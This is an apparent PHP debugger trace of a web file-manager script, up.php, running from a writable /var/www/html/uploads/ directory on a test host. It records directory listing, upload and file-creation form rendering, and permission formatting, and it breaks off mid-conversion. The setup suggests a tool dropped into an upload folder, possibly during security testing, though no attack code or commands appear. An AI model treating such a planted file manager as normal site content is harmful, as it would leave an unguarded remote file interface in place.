5	179	0	0.010576	799944	quicksort	1		/var/www/html/uploads/up.php	948	4	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]	2	2	'filename'
5	179	1	0.010620	799944
4	176	1	0.010628	799944
4	180	0	0.010636	799944	array_merge	0		/var/www/html/uploads/up.php	916	2	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	[0 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	180	1	0.010707	800384
4	180	R			[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3	159	1	0.010792	799520
3	159	R			[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
2		A						/var/www/html/uploads/up.php	1186	$list = [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
3	181	0	0.010935	799144	directory_choice	1		/var/www/html/uploads/up.php	1195	0
4	182	0	0.010953	799288	urlencode	0		/var/www/html/uploads/up.php	1433	1	'/var/www/html/uploads/'
4	182	1	0.010967	799384
4	182	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4	183	0	0.010984	799320	word	1		/var/www/html/uploads/up.php	1433	1	'directory'
5	184	0	0.010999	799344	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Directory'	2	'ISO-8859-1'
5	184	1	0.011017	799616
5	184	R			'Directory'
4	183	1	0.011032	799504
4	183	R			'Directory'
4	185	0	0.011047	799408	textfieldsize	1		/var/www/html/uploads/up.php	1434	1	'/var/www/html/uploads/'
4		A						/var/www/html/uploads/up.php	1570	$size = 27
4		A						/var/www/html/uploads/up.php	1571	$size = 30
4	185	1	0.011082	799408
4	185	R			30
4	186	0	0.011096	799408	html	1		/var/www/html/uploads/up.php	1434	1	'/var/www/html/uploads/'
5	187	0	0.011109	799408	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'/var/www/html/uploads/'	2	'ISO-8859-1'
5	187	1	0.011124	799680
5	187	R			'/var/www/html/uploads/'
4	186	1	0.011140	799568
4	186	R			'/var/www/html/uploads/'
4	188	0	0.011155	799536	word	1		/var/www/html/uploads/up.php	1435	1	'change'
5	189	0	0.011168	799536	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'change'	2	'ISO-8859-1'
5	189	1	0.011183	799808
5	189	R			'change'
4	188	1	0.011197	799696
4	188	R			'change'
3	181	1	0.011211	799216
3	190	0	0.011220	799216	is_writable	0		/var/www/html/uploads/up.php	1202	1	'/var/www/html/uploads/'
3	190	1	0.011256	799256
3	190	R			TRUE
3	191	0	0.011271	799216	upload_box	1		/var/www/html/uploads/up.php	1203	0
4	192	0	0.011284	799280	word	1		/var/www/html/uploads/up.php	1447	1	'file'
5	193	0	0.011297	799280	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'File'	2	'ISO-8859-1'
5	193	1	0.011312	799552
5	193	R			'File'
4	192	1	0.011325	799440
4	192	R			'File'
4	194	0	0.011339	799408	word	1		/var/www/html/uploads/up.php	1449	1	'upload'
5	195	0	0.011351	799408	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'upload'	2	'ISO-8859-1'
5	195	1	0.011365	799680
5	195	R			'upload'
4	194	1	0.011379	799568
4	194	R			'upload'
3	191	1	0.011393	799216
3	196	0	0.011401	799216	create_box	1		/var/www/html/uploads/up.php	1204	0
4	197	0	0.011414	799376	word	1		/var/www/html/uploads/up.php	1462	1	'file'
5	198	0	0.011427	799376	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'File'	2	'ISO-8859-1'
5	198	1	0.011441	799648
5	198	R			'File'
4	197	1	0.011454	799536
4	197	R			'File'
4	199	0	0.011468	799440	word	1		/var/www/html/uploads/up.php	1463	1	'directory'
5	200	0	0.011481	799440	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Directory'	2	'ISO-8859-1'
5	200	1	0.011496	799712
5	200	R			'Directory'
4	199	1	0.011511	799600
4	199	R			'Directory'
4	201	0	0.011525	799600	word	1		/var/www/html/uploads/up.php	1466	1	'create'
5	202	0	0.011538	799600	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'create'	2	'ISO-8859-1'
5	202	1	0.011552	799872
5	202	R			'create'
4	201	1	0.011566	799760
4	201	R			'create'
3	196	1	0.011579	799216
3	203	0	0.011587	799216	listing	1		/var/www/html/uploads/up.php	1210	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	204	0	0.011661	799216	column_title	1		/var/www/html/uploads/up.php	1232	3	'filename'	'filename'	FALSE
5	205	0	0.011677	799216	urlencode	0		/var/www/html/uploads/up.php	1412	1	'/var/www/html/uploads/'
5	205	1	0.011689	799312
5	205	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/up.php	1412	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/up.php	1416	$r = '&amp;reverse=true'
4		A						/var/www/html/uploads/up.php	1417	$arr = ' &and;'
5	206	0	0.011742	799456	word	1		/var/www/html/uploads/up.php	1424	1	'filename'
6	207	0	0.011755	799456	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Filename'	2	'ISO-8859-1'
6	207	1	0.011770	799728
6	207	R			'Filename'
5	206	1	0.011785	799616
5	206	R			'Filename'
4	204	1	0.011800	799216
4	208	0	0.011807	799216	column_title	1		/var/www/html/uploads/up.php	1233	3	'size'	'filename'	FALSE
5	209	0	0.011822	799216	urlencode	0		/var/www/html/uploads/up.php	1412	1	'/var/www/html/uploads/'
5	209	1	0.011834	799312
5	209	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/up.php	1412	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/up.php	1422	$r = ''
5	210	0	0.011872	799408	word	1		/var/www/html/uploads/up.php	1424	1	'size'
6	211	0	0.011885	799408	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Size'	2	'ISO-8859-1'
6	211	1	0.011898	799680
6	211	R			'Size'
5	210	1	0.011912	799568
5	210	R			'Size'
4	208	1	0.011960	799216
4	212	0	0.011969	799216	column_title	1		/var/www/html/uploads/up.php	1236	3	'permission'	'filename'	FALSE
5	213	0	0.011984	799216	urlencode	0		/var/www/html/uploads/up.php	1412	1	'/var/www/html/uploads/'
5	213	1	0.011996	799312
5	213	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/up.php	1412	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/up.php	1422	$r = ''
5	214	0	0.012034	799424	word	1		/var/www/html/uploads/up.php	1424	1	'permission'
6	215	0	0.012051	799424	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Permission'	2	'ISO-8859-1'
6	215	1	0.012066	799696
6	215	R			'Permission'
5	214	1	0.012081	799584
5	214	R			'Permission'
4	212	1	0.012110	799328
4	216	0	0.012118	799328	column_title	1		/var/www/html/uploads/up.php	1237	3	'owner'	'filename'	FALSE
5	217	0	0.012132	799328	urlencode	0		/var/www/html/uploads/up.php	1412	1	'/var/www/html/uploads/'
5	217	1	0.012145	799424
5	217	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/up.php	1412	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/up.php	1422	$r = ''
5	218	0	0.012182	799536	word	1		/var/www/html/uploads/up.php	1424	1	'owner'
6	219	0	0.012194	799536	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Owner'	2	'ISO-8859-1'
6	219	1	0.012210	799808
6	219	R			'Owner'
5	218	1	0.012223	799696
5	218	R			'Owner'
4	216	1	0.012243	799328
4	220	0	0.012250	799328	column_title	1		/var/www/html/uploads/up.php	1238	3	'group'	'filename'	FALSE
5	221	0	0.012265	799328	urlencode	0		/var/www/html/uploads/up.php	1412	1	'/var/www/html/uploads/'
5	221	1	0.012277	799424
5	221	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4		A						/var/www/html/uploads/up.php	1412	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
4		A						/var/www/html/uploads/up.php	1422	$r = ''
5	222	0	0.012314	799536	word	1		/var/www/html/uploads/up.php	1424	1	'group'
6	223	0	0.012327	799536	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Group'	2	'ISO-8859-1'
6	223	1	0.012341	799808
6	223	R			'Group'
5	222	1	0.012355	799696
5	222	R			'Group'
4	220	1	0.012373	799328
4	224	0	0.012380	799328	word	1		/var/www/html/uploads/up.php	1241	1	'functions'
5	225	0	0.012395	799328	htmlentities	0		/var/www/html/uploads/up.php	1594	3	'Functions'	2	'ISO-8859-1'
5	225	1	0.012409	799600
5	225	R			'Functions'
4	224	1	0.012423	799488
4	224	R			'Functions'
3		A						/var/www/html/uploads/up.php	1245	$i = 0
4	226	0	0.012447	799328	sizeof	0		/var/www/html/uploads/up.php	1245	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']]
4	226	1	0.012517	799360
4	226	R			6
3		A						/var/www/html/uploads/up.php	1246	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	227	0	0.012558	799328	date	0		/var/www/html/uploads/up.php	1248	2	'n/j/y H:i:s'	1676252825
4	227	1	0.012661	801720
4	227	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1248	$timestamps = 'mtime: 2/12/23 20:47:05, '
4	228	0	0.012704	801448	date	0		/var/www/html/uploads/up.php	1249	2	'n/j/y H:i:s'	1676252825
4	228	1	0.012744	801776
4	228	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1249	$timestamps .= 'atime: 2/12/23 20:47:05, '
4	229	0	0.012786	801472	date	0		/var/www/html/uploads/up.php	1250	2	'n/j/y H:i:s'	1676252825
4	229	1	0.012852	801800
4	229	R			'2/12/23 20:47:05'
3		A						/var/www/html/uploads/up.php	1250	$timestamps .= 'ctime: 2/12/23 20:47:05'
4	230	0	0.012884	801696	html	1		/var/www/html/uploads/up.php	1254	1	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
5	231	0	0.012900	801696	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'	2	'ISO-8859-1'
5	231	1	0.012919	802000
5	231	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	230	1	0.012935	801888
4	230	R			'mtime: 2/12/23 20:47:05, atime: 2/12/23 20:47:05, ctime: 2/12/23 20:47:05'
4	232	0	0.012953	801552	urlencode	0		/var/www/html/uploads/up.php	1277	1	'/var/www/html/uploads/.'
4	232	1	0.012966	801648
4	232	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4	233	0	0.012982	801584	html	1		/var/www/html/uploads/up.php	1277	1	'.'
5	234	0	0.012994	801584	htmlentities	0		/var/www/html/uploads/up.php	1589	3	'.'	2	'ISO-8859-1'
5	234	1	0.013008	801856
5	234	R			'.'
4	233	1	0.013028	801744
4	233	R			'.'
4	235	0	0.013043	801504	human_filesize	1		/var/www/html/uploads/up.php	1300	1	4096
4		A						/var/www/html/uploads/up.php	1148	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/up.php	1150	$n = 0
4		A						/var/www/html/uploads/up.php	1152	$filesize /= 1024
4		A						/var/www/html/uploads/up.php	1153	$n++
5	236	0	0.013100	801504	strpos	0		/var/www/html/uploads/up.php	1156	2	4	'.'
5	236	1	0.013113	801576
5	236	R			FALSE
5	237	0	0.013127	801504	round	0		/var/www/html/uploads/up.php	1156	2	4	3
5	237	1	0.013139	801576
5	237	R			4
4		A						/var/www/html/uploads/up.php	1156	$filesize = 4
5	238	0	0.013163	801504	strpos	0		/var/www/html/uploads/up.php	1158	2	4	'.'
5	238	1	0.013176	801832
5	238	R			FALSE
5	239	0	0.013190	801504	substr	0		/var/www/html/uploads/up.php	1164	3	'kMGTPE'	0	1
5	239	1	0.013204	801600
5	239	R			'k'
4		A						/var/www/html/uploads/up.php	1164	$suffix = 'k'
4	235	1	0.013229	801536
4	235	R			'4 kB'
3		A						/var/www/html/uploads/up.php	1300	$human = ' title="4 kB"'
4	240	0	0.013256	801544	decoct	0		/var/www/html/uploads/up.php	1311	1	16895
4	240	1	0.013269	801616
4	240	R			'40777'
4	241	0	0.013282	801544	function_exists	0		/var/www/html/uploads/up.php	1313	1	'posix_getuid'
4	241	1	0.013296	801584
4	241	R			TRUE
4	242	0	0.013309	801544	posix_getuid	0		/var/www/html/uploads/up.php	1313	0
4	242	1	0.013322	801544
4	242	R			33
3		A						/var/www/html/uploads/up.php	1313	$l = FALSE
4	243	0	0.013345	801544	permission_octal2string	1		/var/www/html/uploads/up.php	1315	1	16895
4		A						/var/www/html/uploads/up.php	965	$type = 'd'
4		A						/var/www/html/uploads/up.php	974	$owner = 'r'
4		A						/var/www/html/uploads/up.php	975	$owner .= 'w'
4		A						/var/www/html/uploads/up.php	979	$owner .= 'x'
4		A						/var/www/html/uploads/up.php	982	$group = 'r'
4		A						/var/www/html/uploads/up.php	983	$group .= 'w'
4		A						/var/www/html/uploads/up.php	987	$group .= 'x'
4		A						/var/www/html/uploads/up.php	990	$other = 'r'
4		A						/var/www/html/uploads/up.php	991	$other .= 'w'
